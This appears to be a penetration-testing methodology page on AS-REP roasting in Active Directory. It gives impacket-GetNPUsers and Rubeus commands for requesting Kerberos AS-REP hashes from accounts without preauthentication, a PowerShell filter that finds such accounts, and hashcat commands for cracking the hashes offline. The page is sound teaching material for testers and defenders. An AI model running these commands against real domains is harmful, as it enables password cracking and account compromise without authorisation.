Request AS-REP material for an account without preauthentication
Needs: Account with preauthentication disabled, KDC reachability and a supported returned encryption type; no-password and authenticated-discovery contexts differ
Why AS-REP roasting works
Ordinary Kerberos preauthentication makes the user prove knowledge of the long-term key before the KDC returns AS-REP material. If the account has
DONT_REQUIRE_PREAUTH, an unauthenticated requester can ask for an AS-REP whose encrypted component can be tested offline against password candidates.
# Why AS-REP roasting works
KNOWN USERNAME + PREAUTH DISABLED + KDC REACHABLE
-> AS-REP CIPHER
-> OFFLINE GUESSING
-> PASSWORD ONLY IF A CANDIDATE VERIFIES
One known user, no password
# One known user, no password
impacket-GetNPUsers 'DOMAIN/TARGET_USER' -no-pass -request \
-dc-ip DC_IP -outputfile asrep-TARGET_USER.hashes
# Supplied user list, no password
impacket-GetNPUsers 'DOMAIN/' -no-pass -request -usersfile users.txt \
-dc-ip DC_IP -outputfile asrep.hashes
# Authenticated directory-backed discovery
impacket-GetNPUsers 'DOMAIN/USER' -request \
-dc-ip DC_IP -outputfile asrep.hashes
Windows/Rubeus alternative
REM Windows/Rubeus alternative
Rubeus.exe asreproast /user:TARGET_USER /domain:DOMAIN /dc:DC_HOST /outfile:asrep.hashes /format:hashcat
Interpret before cracking
Output Meaning Next action $krb5asrep$23$RC4 AS-REP offline verifier Hashcat mode 18200 AS-REP with another etype Different cipher/format Match the exact prefix to installed Hashcat/John support KDC_ERR_C_PRINCIPAL_UNKNOWNUser/realm not found Recheck spelling, realm and DC Preauthentication required / no UF_DONT_REQUIRE_PREAUTHAccount is not roastable through this method Disprove this path for that account Timeout/name error KDC route/DNS problem Fix route/FQDN/time before account conclusions
# Interpret before cracking
hashcat -m 18200 asrep.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 18200 asrep.hashes --show
Do not call the account compromised because a hash was captured. Only a verified offline candidate produces a password, and that password still needs identity/access mapping.
Verify → Verify the account, realm, response format/encryption type and recovered credential if cracking succeeds.
If it fails → Preauthentication-required disproves this method for that account; unknown user, route and clock failures have different meanings. More detail ↓
Explanation & examples
Request AS-REP material for an account without preauthentication
- USE WHEN
- A known user or directory flag indicates Kerberos preauthentication is disabled
- STARTING ACCESS
- A known domain username for a password-free request, or an authenticated bind for directory-backed discovery
- RESULT
- A correctly formatted offline password-recovery artifact
Recognize the clue
With an authenticated directory view inspect userAccountControl; without a bind, use only the documented known-user/no-password KDC path and distinguish its replies.
Get-DomainUser -Properties samaccountname,useraccountcontrol |
Select-Object samaccountname,@{n='UAC';e={[int]$_.useraccountcontrol}} |
Where-Object { ($_.UAC -band 0x400000) -ne 0 }
samaccountname UAC
TARGET_USER 4194816
Bit 0x400000: setMeans: The DONT_REQUIRE_PREAUTH bit is set. Test the bit, not equality to one whole decimal value, because other flags coexist.
Confirm: Check account state, KDC route, response/encryption type and feasible recovery; no-password discovery requires a real known username.
- After validation
- The selected enabled account returns the supported AS-REP artifact: choose its offline recovery path.
- Ruled out in this context
- The KDC requires preauthentication for that account: reject AS-REP roasting for that identity.
- Still inconclusive
- An unknown user or KDC timeout says nothing about the preauthentication setting.
Troubleshooting: Preauthentication-required disproves this method for that account; unknown user, route and clock failures have different meanings.
Additional prerequisite checks
impacket-GetNPUsers 'DOMAIN/USER' -no-pass -dc-ip DC_IP
Why AS-REP roasting works
Ordinary Kerberos preauthentication makes the user prove knowledge of the long-term key before the KDC returns AS-REP material. If the account has DONT_REQUIRE_PREAUTH, an unauthenticated requester can ask for an AS-REP whose encrypted component can be tested offline against password candidates.
One known user, no password
Supplied user list, no password
Authenticated directory-backed discovery
Omitting the password from the target lets the tool prompt rather than storing it in shell history.
Windows/Rubeus alternative
Interpret before cracking
| Output | Meaning | Next action |
|---|---|---|
$krb5asrep$23$ | RC4 AS-REP offline verifier | Hashcat mode 18200 |
| AS-REP with another etype | Different cipher/format | Match the exact prefix to installed Hashcat/John support |
KDC_ERR_C_PRINCIPAL_UNKNOWN | User/realm not found | Recheck spelling, realm and DC |
Preauthentication required / no UF_DONT_REQUIRE_PREAUTH | Account is not roastable through this method | Disprove this path for that account |
| Timeout/name error | KDC route/DNS problem | Fix route/FQDN/time before account conclusions |
Do not call the account compromised because a hash was captured. Only a verified offline candidate produces a password, and that password still needs identity/access mapping.
Why it works
Without preauthentication, the KDC can return an encrypted AS response whose relevant part permits offline guessing of the account's password-derived key. Receiving it does not reveal the password.
Worked example · hypothetical
Observation: an account is marked without preauthentication. Test: request only its AS-REP material. Illustrative output: a supported hash-format response returns. Interpretation: use the format's correct offline mode and validate any recovered password.
New identity, privilege, host or route? Re-enumerate → All topic tasks →